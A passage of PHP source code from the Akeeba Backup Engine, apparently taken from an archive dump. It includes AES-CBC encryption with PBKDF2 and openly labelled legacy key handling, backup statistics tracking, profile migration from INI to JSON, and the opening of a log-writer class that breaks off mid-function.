	 *
	 * @since  3.0.1
	 */
	public function AESEncryptCBC($plaintext, $password)
	{
		$adapter = $this->getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Get encryption parameters
		$rand          = new RandomValue();
		$params        = $this->getKeyDerivationParameters();
		$useStaticSalt = $params['useStaticSalt'];
		$keySizeBytes  = $params['keySize'];
		$salt          = null;

		if ($useStaticSalt)
		{
			$key = $this->getStaticSaltExpandedKey($password);
		}
		else
		{
			// Create a salt and derive a key from the password using PBKDF2
			$algorithm  = $params['algorithm'];
			$iterations = $params['iterations'];
			$salt       = $rand->generate(64);
			$key        = $this->pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}


		// Also create a new, random IV
		$iv = $rand->generate($keySizeBytes);

		// The ciphertext is the encrypted string...
		$ciphertext = $adapter->encrypt($plaintext, $key, $iv);

		// ...minus the IV which was placed in front
		$ciphertext = substr($ciphertext, $keySizeBytes);

		if (!$useStaticSalt)
		{
			// ...plus the PBKDF2 setup values at the end (68 bytes)...
			$ciphertext .= 'JPST' . $salt;
		}

		// ...plus the IV at the end (20 bytes)...
		$ciphertext .= 'JPIV' . $iv;

		// ...plus the plaintext length (4 bytes).
		$ciphertext .= pack('V', strlen($plaintext));

		return $ciphertext;
	}

	/**
	 * Get the parameters fed into PBKDF2 to expand the user password into an encryption key. These are the static
	 * parameters (key size, hashing algorithm and number of iterations). A new salt is used for each encryption block
	 * to minimize the risk of attacks against the password.
	 *
	 * @return  array
	 */
	public function getKeyDerivationParameters()
	{
		return [
			'keySize'       => 16,
			'algorithm'     => $this->pbkdf2Algorithm,
			'iterations'    => $this->pbkdf2Iterations,
			'useStaticSalt' => $this->pbkdf2UseStaticSalt,
			'staticSalt'    => $this->pbkdf2StaticSalt,
		];
	}

	/**
	 * AES decryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 *
	 * It supports AES-128 only. It assumes that the last 4 bytes
	 * contain a little-endian unsigned long integer representing the unpadded
	 * data length.
	 *
	 * @param   string  $ciphertext  The data to encrypt
	 * @param   string  $password    Encryption password
	 *
	 * @return  string  The plaintext
	 * @author Nicholas K. Dionysopoulos
	 *
	 * @since  3.0.1
	 */
	public function AESDecryptCBC($ciphertext, $password)
	{
		$adapter = $this->getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Read the data size
		$data_size = unpack('V', substr($ciphertext, -4));

		// Do I have a PBKDF2 salt?
		$salt             = substr($ciphertext, -92, 68);
		$rightStringLimit = -4;

		$params        = $this->getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$useStaticSalt = $params['useStaticSalt'];

		if (substr($salt, 0, 4) == 'JPST')
		{
			// We have a stored salt. Retrieve it and tell decrypt to process the string minus the last 44 bytes
			// (4 bytes for JPST, 16 bytes for the salt, 4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the
			// uncompressed string length - note that using PBKDF2 means we're also using a randomized IV per the
			// format specification).
			$salt             = substr($salt, 4);
			$rightStringLimit -= 68;

			$key = $this->pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}
		elseif ($useStaticSalt)
		{
			// We have a static salt. Use it for PBKDF2.
			$key = $this->getStaticSaltExpandedKey($password);
		}
		else
		{
			// Get the expanded key from the password. THIS USES THE OLD, INSECURE METHOD.
			$key = $this->expandKey($password);
		}

		// Try to get the IV from the data
		$iv = substr($ciphertext, -24, 20);

		if (substr($iv, 0, 4) == 'JPIV')
		{
			// We have a stored IV. Retrieve it and tell mdecrypt to process the string minus the last 24 bytes
			// (4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the uncompressed string length)
			$iv               = substr($iv, 4);
			$rightStringLimit -= 20;
		}
		else
		{
			// No stored IV. Do it the dumb way.
			$iv = $this->createTheWrongIV($password);
		}

		// Decrypt
		$plaintext = $adapter->decrypt($iv . substr($ciphertext, 0, $rightStringLimit), $key);

		// Trim padding, if necessary
		if (strlen($plaintext) > $data_size)
		{
			$plaintext = substr($plaintext, 0, $data_size);
		}

		return $plaintext;
	}

	/**
	 * That's the old way of creating an IV that's definitely not cryptographically sound.
	 *
	 * DO NOT USE, EVER, UNLESS YOU WANT TO DECRYPT LEGACY DATA
	 *
	 * @param   string  $password  The raw password from which we create an IV in a super bozo way
	 *
	 * @return  string  A 16-byte IV string
	 *
	 * @since   4.6.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	function createTheWrongIV($password)
	{
		static $ivs = [];

		$key = self::md5($password);

		if (!isset($ivs[$key]))
		{
			// Create an Initialization Vector (IV) based on the password, using the same technique as for the key
			$nBytes  = 16; // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
			$pwBytes = [];

			for ($i = 0; $i < $nBytes; $i++)
			{
				$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
			}

			$iv    = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
			$newIV = '';

			foreach ($iv as $int)
			{
				$newIV .= chr($int);
			}

			$ivs[$key] = $newIV;
		}

		return $ivs[$key];
	}

	/*
	 * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
	 *
	 * @param a  number to be shifted (32-bit integer)
	 * @param b  number of bits to shift a to the right (0..31)
	 * @return   a right-shifted and zero-filled by b bits
	 */

	/**
	 * Expand the password to an appropriate 128-bit encryption key. THIS CODE IS OBSOLETE. DO NOT USE.
	 *
	 * @param   string  $password
	 *
	 * @return  string
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public function expandKey($password)
	{
		// Try to fetch cached key or create it if it doesn't exist
		$nBits     = 128;
		$lookupKey = self::md5($password . '-' . $nBits);

		if (array_key_exists($lookupKey, $this->passwords))
		{
			$key = $this->passwords[$lookupKey];

			return $key;
		}

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key.
		$nBytes  = $nBits / 8; // Number of bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key    = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
		$key    = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
		$newKey = '';

		foreach ($key as $int)
		{
			$newKey .= chr($int);
		}

		$key = $newKey;

		$this->passwords[$lookupKey] = $key;

		return $key;
	}

	/**
	 * Returns the correct AES-128 CBC encryption adapter
	 *
	 * @return  AdapterInterface
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public function getAdapter()
	{
		static $adapter = null;

		if (is_object($adapter) && ($adapter instanceof AdapterInterface))
		{
			return $adapter;
		}

		$adapter = new OpenSSL();

		if (!$adapter->isSupported())
		{
			$adapter = new Mcrypt();
		}

		return $adapter;
	}

	/**
	 * Returns the length of a string in BYTES, not characters
	 *
	 * @param   string  $string  The string to get the length for
	 *
	 * @return int The size in BYTES
	 */
	public function stringLength($string)
	{
		return function_exists('mb_strlen') ? mb_strlen($string, '8bit') : strlen($string);
	}

	/**
	 * Attempt to use mbstring for getting parts of strings
	 *
	 * @param   string    $string
	 * @param   int       $start
	 * @param   int|null  $length
	 *
	 * @return  string
	 */
	public function subString($string, $start, $length = null)
	{
		return function_exists('mb_substr') ? mb_substr($string, $start, $length, '8bit') :
			substr($string, $start, $length);
	}

	/**
	 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
	 *
	 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
	 *
	 * This implementation of PBKDF2 was originally created by https://defuse.ca
	 * With improvements by http://www.variations-of-shadow.com
	 * Modified for Akeeba Engine by Akeeba Ltd (removed unnecessary checks to make it faster)
	 *
	 * @param   string  $password    The password.
	 * @param   string  $salt        A salt that is unique to the password.
	 * @param   string  $algorithm   The hash algorithm to use. Default is sha1.
	 * @param   int     $count       Iteration count. Higher is better, but slower. Default: 1000.
	 * @param   int     $key_length  The length of the derived key in bytes.
	 *
	 * @return  string  A string of $key_length bytes
	 */
	public function pbkdf2($password, $salt, $algorithm = 'sha1', $count = 1000, $key_length = 16)
	{
		if (function_exists("hash_pbkdf2"))
		{
			return hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, true);
		}

		$hash_length = $this->stringLength(hash($algorithm, "", true));
		$block_count = ceil($key_length / $hash_length);

		$output = "";

		for ($i = 1; $i <= $block_count; $i++)
		{
			// $i encoded as 4 bytes, big endian.
			$last = $salt . pack("N", $i);

			// First iteration
			$xorResult = hash_hmac($algorithm, $last, $password, true);
			$last      = $xorResult;

			// Perform the other $count - 1 iterations
			for ($j = 1; $j < $count; $j++)
			{
				$last      = hash_hmac($algorithm, $last, $password, true);
				$xorResult ^= $last;
			}

			$output .= $xorResult;
		}

		return $this->subString($output, 0, $key_length);
	}

	/**
	 * @return string
	 */
	public function getPbkdf2Algorithm()
	{
		return $this->pbkdf2Algorithm;
	}

	/**
	 * @param   string  $pbkdf2Algorithm
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2Algorithm($pbkdf2Algorithm)
	{
		$this->pbkdf2Algorithm = $pbkdf2Algorithm;

		return $this;
	}

	/**
	 * @return int
	 */
	public function getPbkdf2Iterations()
	{
		return $this->pbkdf2Iterations;
	}

	/**
	 * @param   int  $pbkdf2Iterations
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2Iterations($pbkdf2Iterations)
	{
		$this->pbkdf2Iterations = $pbkdf2Iterations;

		return $this;
	}

	/**
	 * @return int
	 */
	public function getPbkdf2UseStaticSalt()
	{
		return $this->pbkdf2UseStaticSalt;
	}

	/**
	 * @param   int  $pbkdf2UseStaticSalt
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt)
	{
		$this->pbkdf2UseStaticSalt = $pbkdf2UseStaticSalt;

		return $this;
	}

	/**
	 * @return string
	 */
	public function getPbkdf2StaticSalt()
	{
		return $this->pbkdf2StaticSalt;
	}

	/**
	 * @param   string  $pbkdf2StaticSalt
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2StaticSalt($pbkdf2StaticSalt)
	{
		$this->pbkdf2StaticSalt = $pbkdf2StaticSalt;

		return $this;
	}

	/**
	 * Get the expanded key from the user supplied password using a static salt. The results are cached for performance
	 * reasons.
	 *
	 * @param   string  $password  The user-supplied password, UTF-8 encoded.
	 *
	 * @return  string  The expanded key
	 */
	public function getStaticSaltExpandedKey($password)
	{
		$params       = $this->getKeyDerivationParameters();
		$keySizeBytes = $params['keySize'];
		$algorithm    = $params['algorithm'];
		$iterations   = $params['iterations'];
		$staticSalt   = $params['staticSalt'];

		$lookupKey = "PBKDF2-$algorithm-$iterations-" . self::md5($password . $staticSalt);

		if (!array_key_exists($lookupKey, $this->passwords))
		{
			$this->passwords[$lookupKey] = $this->pbkdf2($password, $staticSalt, $algorithm, $iterations, $keySizeBytes);
		}

		return $this->passwords[$lookupKey];
	}

	protected function AddRoundKey($state, $w, $rnd, $Nb)
	{
		// xor Round Key into state S [�5.1.4]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
			}
		}

		return $state;
	}

	protected function SubBytes($s, $Nb)
	{
		// apply SBox to state S [�5.1.1]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$s[$r][$c] = $this->Sbox[$s[$r][$c]];
			}
		}

		return $s;
	}

	protected function ShiftRows($s, $Nb)
	{
		// shift row r of state S left by r bytes [�5.1.2]
		$t = [4];

		for ($r = 1; $r < 4; $r++)
		{
			// shift into temp copy
			for ($c = 0; $c < 4; $c++)
			{
				$t[$c] = $s[$r][($c + $r) % $Nb];
			}

			// and copy back
			for ($c = 0; $c < 4; $c++)
			{
				$s[$r][$c] = $t[$c];
			}

		}

		// note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):

		return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
	}

	protected function MixColumns($s, $Nb)
	{
		// combine bytes of each col of state S [�5.1.3]
		for ($c = 0; $c < 4; $c++)
		{
			$a = [4]; // 'a' is a copy of the current column from 's'
			$b = [4]; // 'b' is a�{02} in GF(2^8)

			for ($i = 0; $i < 4; $i++)
			{
				$a[$i] = $s[$i][$c];
				$b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
			}

			// a[n] ^ b[n] is a�{03} in GF(2^8)
			$s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
			$s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
			$s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
			$s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
		}

		return $s;
	}

	protected function SubWord($w)
	{
		// apply SBox to 4-byte word w
		for ($i = 0; $i < 4; $i++)
		{
			$w[$i] = $this->Sbox[$w[$i]];
		}

		return $w;
	}

	protected function RotWord($w)
	{
		// rotate 4-byte word w left by one byte
		$tmp = $w[0];

		for ($i = 0; $i < 3; $i++)
		{
			$w[$i] = $w[$i + 1];
		}

		$w[3] = $tmp;

		return $w;
	}

	protected function urs($a, $b)
	{
		$a &= 0xffffffff;
		$b &= 0x1f; // (bounds check)

		if ($a & 0x80000000 && $b > 0)
		{
			// if left-most bit set
			$a = ($a >> 1) & 0x7fffffff; //   right-shift one bit & clear left-most bit
			$a = $a >> ($b - 1); //   remaining right-shifts
		}
		else
		{
			// otherwise
			$a = ($a >> $b); //   use normal right-shift
		}

		return $a;
	}
}
com_akeeba/BackupEngine/Util/Statistics.php000060400000016527152455305260014743 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;

class Statistics
{
	/** @var bool used to block multipart updating initializing the backup */
	private $multipart_lock = true;

	/** @var int The statistics record number of the current backup attempt */
	private $statistics_id = null;

	/** @var array Local cache of the stat record data */
	private $cached_data = [];

	/**
	 * Returns all the filenames of the backup archives for the specified stat record,
	 * or null if the backup type is wrong or the file doesn't exist. It takes into
	 * account the multipart nature of Split Backup Archives.
	 *
	 * @param   array  $stat             The backup statistics record
	 * @param   bool   $skipNonComplete  Skips over backups with no files produced
	 *
	 * @return array|null The filenames or null if it's not applicable
	 */
	public static function get_all_filenames($stat, $skipNonComplete = true)
	{
		// Shortcut for database entries marked as having no files
		if ($stat['filesexist'] == 0)
		{
			return [];
		}

		// Initialize
		$base_directory = @dirname($stat['absolute_path']);
		$base_filename  = $stat['archivename'];
		$filenames      = [$base_filename];

		if (empty($base_filename))
		{
			// This is a backup with a writer which doesn't store files on the server
			return null;
		}

		// Calculate all the filenames for this backup
		if ($stat['multipart'] > 1)
		{
			// Find the base filename and extension
			$dotpos    = strrpos($base_filename, '.');
			$extension = substr($base_filename, $dotpos);
			$basefile  = substr($base_filename, 0, $dotpos);

			// Calculate the multiple names
			$multipart = $stat['multipart'];

			for ($i = 1; $i < $multipart; $i++)
			{
				// Note: For $multipart = 10, it will produce i.e. .z01 through .z10
				// This is intentional. If the backup aborts and multipart=1, we
				// might be stuck with a .z01 file instead of a .zip. So do not
				// change the less than or equal with a straight less than.
				$filenames[] = $basefile . substr($extension, 0, 2) . sprintf('%02d', $i);
			}
		}

		// Check if the files exist, otherwise attempt to provide relocated filename
		$ret = [];

		$ds = DIRECTORY_SEPARATOR;
		// $test_file is the first file which must have been created
		$test_file = count($filenames) == 1 ? $filenames[0] : $filenames[1];

		if (
			(!@file_exists($base_directory . $ds . $test_file)) ||
			(!is_dir($base_directory))
		)
		{
			// The test file wasn't detected. Use the configured output directory.
			$registry       = Factory::getConfiguration();
			$base_directory = $registry->get('akeeba.basic.output_directory');
		}

		foreach ($filenames as $filename)
		{
			// Turn relative path to absolute
			$filename = $base_directory . $ds . $filename;

			// Return the new filename IF IT EXISTS!
			if (!@file_exists($filename))
			{
				$filename = '';
			}

			// Do not return filename for invalid backups
			if (!empty($filename))
			{
				$ret[] = $filename;
			}
		}

		// Edge case: still running backups, we have to brute force the scan
		// of existing files (multipart may be lying)
		if ($stat['status'] == 'run')
		{
			$base_filename = $stat['archivename'];
			$dotpos        = strrpos($base_filename, '.');
			$extension     = substr($base_filename, $dotpos);
			$basefile      = substr($base_filename, 0, $dotpos);

			$registry = Factory::getConfiguration();
			$dirs     = [
				@dirname($stat['absolute_path']),
				$registry->get('akeeba.basic.output_directory'),
			];

			// Look for base file
			foreach ($dirs as $dir)
			{
				if (@file_exists($dir . $ds . $base_filename))
				{
					$ret[] = $dir . $ds . $base_filename;

					break;
				}
			}

			// Look for added files
			$found = true;
			$i     = 0;

			while ($found)
			{
				$i++;
				$found          = false;
				$part_file_name = $basefile . substr($extension, 0, 2) . sprintf('%02d', $i);

				foreach ($dirs as $dir)
				{
					if (@file_exists($dir . $ds . $part_file_name))
					{
						$ret[] = $dir . $ds . $part_file_name;
						$found = true;

						break;
					}
				}
			}
		}

		if ((count($ret) == 0) && $skipNonComplete)
		{
			$ret = null;
		}

		if (!empty($ret) && is_array($ret))
		{
			$ret = array_unique($ret);
		}

		return $ret;
	}

	/**
	 * Releases the initial multipart lock
	 */
	public function release_multipart_lock()
	{
		$this->multipart_lock = false;
	}

	/**
	 * Updates the multipart status of the current backup attempt's statistics record
	 *
	 * @param   int  $multipart  The new multipart status
	 */
	public function updateMultipart($multipart)
	{
		if ($this->multipart_lock)
		{
			return;
		}

		Factory::getLog()->debug('Updating multipart status to ' . $multipart);

		// Cache this change and commit to db only after the backup is done, or failed
		$registry = Factory::getConfiguration();
		$registry->set('volatile.statistics.multipart', $multipart);
	}

	/**
	 * Sets or updates the statistics record of the current backup attempt
	 *
	 * @param   array  $data
	 *
	 * @return bool
	 * @throws Exception
	 */
	public function setStatistics($data)
	{
		$ret = Platform::getInstance()->set_or_update_statistics($this->statistics_id, $data);

		if ($ret === false)
		{
			return false;
		}

		if (!is_null($ret))
		{
			$this->statistics_id = $ret;
		}

		$this->cached_data = array_merge($this->cached_data, $data);

		return true;
	}

	/**
	 * Returns the statistics record ID (used in DB backup classes)
	 * @return int
	 */
	public function getId()
	{
		return $this->statistics_id;
	}

	/**
	 * Returns a copy of the cached data
	 * @return array
	 */
	public function getRecord()
	{
		return $this->cached_data;
	}

	/**
	 * Updates the "in step" flag of the current backup record.
	 *
	 * @param   false  $inStep  Am I currently executing a backup step? False if just finished.
	 *
	 * @return  bool
	 */
	public function updateInStep($inStep = false)
	{
		if (!$this->getId())
		{
			return false;
		}

		$data = $this->getRecord();

		/**
		 * We will only update the instep of running backups for two reasons:
		 *
		 * 1. The very last Kettenrad entry is after the backup process is complete. The record is marked 'complete'. I
		 *    must not touch it in this case.
		 *
		 * 2. When a record is marked 'fail' its instep is also set to 0. This happens in Factory::resetState().
		 */
		//
		if ($data['status'] == 'complete')
		{
			return true;
		}

		$data['instep']    = $inStep ? 1 : 0;
		$data['backupend'] = Platform::getInstance()->get_timestamp_database();

		try
		{
			return $this->setStatistics($data);
		}
		catch (Exception $e)
		{
			return false;
		}
	}
}
com_akeeba/BackupEngine/Util/ProfileMigration.php000060400000014073152455305260016055 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;

/**
 * This helper class is used to migrate Akeeba Backup profiles to the new storage format implemented since version
 * 6.4.1
 *
 * @since       6.4.1
 */
abstract class ProfileMigration
{
	/**
	 * Tries to migrate a backup profile to the new JSON-based storage format used since version 6.4.1.
	 *
	 * @param   int  $profileID  The ID of the profile to migrate
	 *
	 * @return  bool  Whether we converted the profile
	 *
	 * @since   6.4.1
	 */
	public static function migrateProfile($profileID)
	{
		$platform = Platform::getInstance();
		$db       = Factory::getDatabase($platform->get_platform_database_options());

		// Is the database connected?
		if (!$db->connected())
		{
			return false;
		}

		// Load the raw data from the database
		try
		{
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select('*')
				->from($db->qn($platform->tableNameProfiles))
				->where($db->qn('id') . ' = ' . $db->q($profileID));

			$rawData = $db->setQuery($sql)->loadAssoc();
		}
		catch (Exception $e)
		{
			return false;
		}

		// Decrypt the configuration data if required
		$rawData['configuration'] = self::decryptConfiguration($rawData['configuration']);
		$migrated                 = false;

		// Migrate the configuration from INI to JSON format
		if (self::looksLikeIni($rawData['configuration']))
		{
			$rawData['configuration'] = self::convertINItoJSON($rawData['configuration']);

			$migrated = true;
		}

		// Migrate the filters from INI to JSON format
		if (self::looksLikeSerialized($rawData['filters']))
		{
			$rawData['filters'] = self::convertSerializedToJSON($rawData['filters']);

			$migrated = true;
		}

		if (!$migrated)
		{
			return false;
		}

		$rawData['configuration'] = self::encryptConfiguration($rawData['configuration']);

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn($platform->tableNameProfiles))
			->set($db->qn('configuration') . ' = ' . $db->q($rawData['configuration']))
			->set($db->qn('filters') . ' = ' . $db->q($rawData['filters']))
			->where($db->qn('id') . ' = ' . $db->q($profileID));

		$db->setQuery($sql);

		try
		{
			$result = $db->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return ($result == true);
	}

	/**
	 * Decrypt the configuration data if necessary. Returns the decrypted data.
	 *
	 * @param   string  $configData  The possibly encrypted data.
	 *
	 * @return  string  The decrypted data
	 *
	 * @since   6.4.1
	 */
	public static function decryptConfiguration($configData)
	{
		$noData    = empty($configData);
		$signature = ($noData || (strlen($configData) < 12)) ? '' : substr($configData, 0, 12);

		if (in_array($signature, ['###AES128###', '###CTR128###']))
		{
			return Factory::getSecureSettings()->decryptSettings($configData);
		}

		return $configData;
	}

	/**
	 * Encrypt the configuration data if necessary.
	 *
	 * @param   string  $configData  The raw configuration data
	 *
	 * @return  string  The possibly encrypted configuration data
	 *
	 * @since   6.4.1
	 */
	public static function encryptConfiguration($configData)
	{
		$secureSettings = Factory::getSecureSettings();

		return $secureSettings->encryptSettings($configData);
	}

	/**
	 * Does the provided configuration data look like it's INI encoded?
	 *
	 * @param   string  $configData  The unencrypted configuration data we read from the database.
	 *
	 * @return  bool
	 *
	 * @since   6.4.1
	 */
	public static function looksLikeIni($configData)
	{
		if (empty($configData))
		{
			return false;
		}

		if (strlen($configData) < 8)
		{
			return false;
		}

		if ((substr($configData, 0, 8) == '[global]') || substr($configData, 0, 8) == '[akeeba]')
		{
			return true;
		}

		return false;
	}

	/**
	 * Convert the INI-encoded data to JSON-encoded data
	 *
	 * @param   string  $configData  The INI-encoded data
	 *
	 * @return  string  The JSON-encoded data
	 *
	 * @since   6.4.1
	 */
	public static function convertINItoJSON($configData)
	{
		$dataArray = ParseIni::parse_ini_file($configData, true, true);

		return json_encode($dataArray, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);
	}

	/**
	 * Does the raw filters string provided seems to use serialized data? We actually check if it looks like JSON.
	 * If it's not, we assume it's serialized data.
	 *
	 * @param   string  $rawFilters  The raw filters string
	 *
	 * @return  bool  Does it look like a serialized string?
	 *
	 * @since   6.4.1
	 */
	public static function looksLikeSerialized($rawFilters)
	{
		if (empty($rawFilters))
		{
			return false;
		}

		if (substr($rawFilters, 0, 1) == '{')
		{
			return false;
		}

		return true;
	}

	/**
	 * Convert the serialized array in $rawFilters to JSON representation
	 *
	 * @param   string  $rawFilters  Raw serialized string
	 *
	 * @return  string  JSON-encoded string
	 *
	 * @since   6.4.1
	 */
	public static function convertSerializedToJSON($rawFilters)
	{
		$filters = unserialize($rawFilters);

		if (empty($filters))
		{
			$filters = [];
		}

		return json_encode($filters, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);
	}
}
com_akeeba/BackupEngine/Util/Logger.php000060400000035407152455305260014026 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Log\LogInterface;
use Akeeba\Engine\Util\Log\WarningsLoggerAware;
use Akeeba\Engine\Util\Log\WarningsLoggerInterface;
use Akeeba\Engine\Psr\Log\InvalidArgumentException;
use Akeeba\Engine\Psr\Log\LoggerInterface;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Writes messages to the backup log file
 */
class Logger implements LoggerInterface, LogInterface, WarningsLoggerInterface
{
	use WarningsLoggerAware;

	/** @var  string  Full path to log file */
	protected $logName = null;

	/** @var  string  The current log tag */
	protected $currentTag = null;

	/** @var  resource  The file pointer to the current log file */
	protected $fp = null;

	/** @var  bool  Is the logging currently paused? */
	protected $paused = false;

	/** @var  int  The minimum log level */
	protected $configuredLoglevel;

	/** @var  string  The untranslated path to the site's root */
	protected $site_root_untranslated;

	/** @var  string  The translated path to the site's root */
	protected $site_root;

	/**
	 * Public constructor. Initialises the properties with the parameters from the backup profile and platform.
	 */
	public function __construct()
	{
		$this->initialiseWithProfileParameters();
	}

	/**
	 * When shutting down this class always close any open log files.
	 */
	public function __destruct()
	{
		$this->close();
	}

	/**
	 * Clears the logfile
	 *
	 * @param   string  $tag  Backup origin
	 */
	public function reset($tag = null)
	{
		// Pause logging
		$this->pause();

		// Get the file names for the default log and the tagged log
		$currentLogName = $this->logName;
		$this->logName  = $this->getLogFilename($tag);

		// Close the file if it's open
		if ($currentLogName == $this->logName)
		{
			$this->close();
		}

		// Remove the log file if it exists
		@unlink($this->logName);

		// Reset the log file
		$fp = @fopen($this->logName, 'w');
		$hasWritten = false;

		if ($fp !== false)
		{
			$hasWritten = fwrite($fp, '<' . '?' . 'php die(); ' . '?' . '>' . "\n") !== false;
			@fclose($fp);
		}

		// If I could not write to a .log.php file try using a .log file instead.
		if (!$hasWritten)
		{
			$this->logName  = $this->getLogFilename($tag, '');
			$fp = @fopen($this->logName, 'w');
			$hasWritten = false;

			if ($fp !== false)
			{
				$hasWritten = fwrite($fp, "\n") !== false;
				@fclose($fp);
			}
		}

		// Delete the default log file(s) if they exists
		$defaultLog     = $this->getLogFilename(null);

		if (!empty($tag) && @file_exists($defaultLog))
		{
			@unlink($defaultLog);
		}

		$defaultLog     = $this->getLogFilename(null, '');

		if (!empty($tag) && @file_exists($defaultLog))
		{
			@unlink($defaultLog);
		}

		// Set the current log tag
		$this->currentTag = $tag;

		// Unpause logging
		$this->unpause();
	}

	/**
	 * Writes a line to the log, if the log level is high enough
	 *
	 * @param   string  $level    The log level
	 * @param   string  $message  The message to write to the log
	 * @param   array   $context  The logging context. For PSR-3 compatibility but not used in text file logs.
	 *
	 * @return  void
	 */
	public function log($level, $message = '', array $context = [])
	{
		// Warnings are enqueued no matter what is the minimum log level to report in the log file
		if (in_array($level, [LogLevel::WARNING, LogLevel::NOTICE]))
		{
			$this->enqueueWarning($message);
		}

		// If we are told to not log anything we can't continue
		if ($this->configuredLoglevel == 0)
		{
			return;
		}

		// Open the log if it's closed
		if (is_null($this->fp))
		{
			$this->open($this->currentTag);
		}

		// If the log could not be opened we can't continue
		if (is_null($this->fp))
		{
			return;
		}

		// If the logging is paused we can't continue
